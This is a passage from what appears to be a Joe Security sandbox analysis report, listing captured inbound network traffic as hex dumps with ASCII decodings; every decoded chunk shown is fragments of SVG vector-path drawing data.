c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-0.003-
0.2,0.017-0.379-0.078-0.55c-0.38-0.

2022-01-13 21:05:20 UTC 49 IN Data Raw: 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 
31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 
46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 32 37 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 39 35 2d 36 34 
2e 30 30 31 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 
63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 2
0 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 
63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 31 2c 30 2e 32 
Data Ascii: ,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#FFFFFF;" id="svg_27"/><path d="M0
.495-64.001c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-
0.079,0.362c-0.169,0.058-0.01,0.2

2022-01-13 21:05:20 UTC 50 IN Data Raw: 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 
32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 
33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 
30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 3
7 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 
2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 
39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 
Data Ascii: 5,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,0.01,0.571-0.053c0.222-
0.079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0
.01-0.145,0.039-0.221      c0.039-0.1

2022-01-13 21:05:20 UTC 52 IN Data Raw: 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 
34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 
2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 
2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 3
2 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 
30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 
76 67 5f 33 31 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 35 34 2e 31 31 38 
Data Ascii: 975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-0.318,0.224c-0.081,0.026-
0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#F
FFFFF;" id="svg_31"/><path d="M54.118

2022-01-13 21:05:20 UTC 53 IN Data Raw: 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 
20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 
63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 
31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 3
0 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 
2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 
37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 
Data Ascii: 0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.
544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,0.01,0.571-0
.053c0.222-0.079,0.127-0.337,0.288-0.

2022-01-13 21:05:20 UTC 54 IN Data Raw: 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 
30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 
30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 
31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 
38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 
30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 
32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 
Data Ascii: .062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-
0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-0.318,0.224c-0.
081,0.026-0.216,0.124-0.215,0.224c0.0

2022-01-13 21:05:20 UTC 56 IN Data Raw: 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 
30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 
37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 
2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 
34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 
30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 
35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 
Data Ascii: 0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362c-0.169,0.058-
0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.2
68,0.413,0.435,0.544c0.19,0.148,0.365

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2022 Page 131 of 171



2022-01-13 21:05:20 UTC 57 IN Data Raw: 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 
33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 
2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 
30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 
37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 
20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 
33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 
Data Ascii: 0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.221      c0.039-0.103,0.111-
0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-0.003-0.2,0.017-0.379-0.078-
0.55c-0.38-0.688-1.236-0.929-1.9

2022-01-13 21:05:20 UTC 58 IN Data Raw: 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 
30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 33 38 
22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 39 35 2d 35 36 2e 33 34 38 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 
2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 3
2 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 
30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 31 
2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 
Data Ascii:      c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#FFFFFF;" id="svg_38"/><path d="M0.495-56.348c0.018,0
.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362c-0.
169,0.058-0.01,0.227-0.015,0.35c-0.00

2022-01-13 21:05:20 UTC 60 IN Data Raw: 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 
2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 
33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 
20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 
30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 
30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 
39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 
Data Ascii:       c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-
0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.221      
c0.039-0.103,0.111-0.16,0.09-

2022-01-13 21:05:20 UTC 61 IN Data Raw: 38 30 30 30 0d 0a 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 
2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 
30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 
2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2
e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 
2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 
2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 
Data Ascii: 80002,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      
c-0.17,0.088-0.139,0.166-0.318,0.224c-0.081,0.026-0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-
0.021,0.011-0.021-0.005-0.03-0

2022-01-13 21:05:20 UTC 62 IN Data Raw: 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 
30 39 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 
2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 
37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 3
4 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 
2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 
34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 
Data Ascii: 9,0.276-0.079,0.362c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.11
9,0.017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.
042,0.384-0.104,0.543-0.143c0.18-0.04

2022-01-13 21:05:20 UTC 63 IN Data Raw: 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 
31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 
30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 
33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 
30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 
39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 
20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 
Data Ascii: 039-0.221      c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-
0.224,0-0.337      c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-
0.442,0.207      c-0.17,0.088-0.139,0

2022-01-13 21:05:20 UTC 65 IN Data Raw: 73 76 67 5f 34 36 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 34 37 37 2d 34 38 2e 36 39 35 63 30 2e 30 
31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 
30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 2e 
30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2
c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 
35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 
2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 
Data Ascii: svg_46"/><path d="M23.477-48.695c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165
,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0
.045,0.161      c-0.01,0.119,0.017,0.266,0.068,

2022-01-13 21:05:20 UTC 66 IN Data Raw: 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 63 30 2e 
31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 
30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 2c 
30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 30 
33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 
35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 
30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 
Data Ascii: .079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0
.46c0.016-0.082,0.01-0.145,0.039-0.221      c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-
0.022-0.114,0.002-0.224,0-0.337      c-0.0

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 68 IN Data Raw: 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 
30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 
2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 
46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 34 39 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 39 35 2d 34 38 2
e 36 39 35 63 30 2e 30 31 38 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 
2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 
20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 
Data Ascii: 16,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" style="f
ill:#FFFFFF;" id="svg_49"/><path d="M0.495-48.695c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-
0.165,0.128      c-0.05,0.062-0.099,0

2022-01-13 21:05:20 UTC 69 IN Data Raw: 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 
2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 
32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 
33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 3
0 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 
2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 
2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 
Data Ascii: 0.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-
0.043,0.397,0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.0
69,0.339-0.263,0.376-0.46c0.016-0.082

2022-01-13 21:05:20 UTC 70 IN Data Raw: 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 
39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 
2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 3
6 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 
30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 
31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 
2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 
Data Ascii: 9-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-
0.139,0.166-0.318,0.224c-0.081,0.026-0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-
0.021-0.005-0.03-0.025" style="fill:

2022-01-13 21:05:20 UTC 72 IN Data Raw: 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 
35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 
20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 
63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 3
1 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 
2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 
2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 
Data Ascii: 2c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.06
8,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-
0.143c0.18-0.043,0.397,0.01,0.571

2022-01-13 21:05:20 UTC 73 IN Data Raw: 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 
31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 
2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 
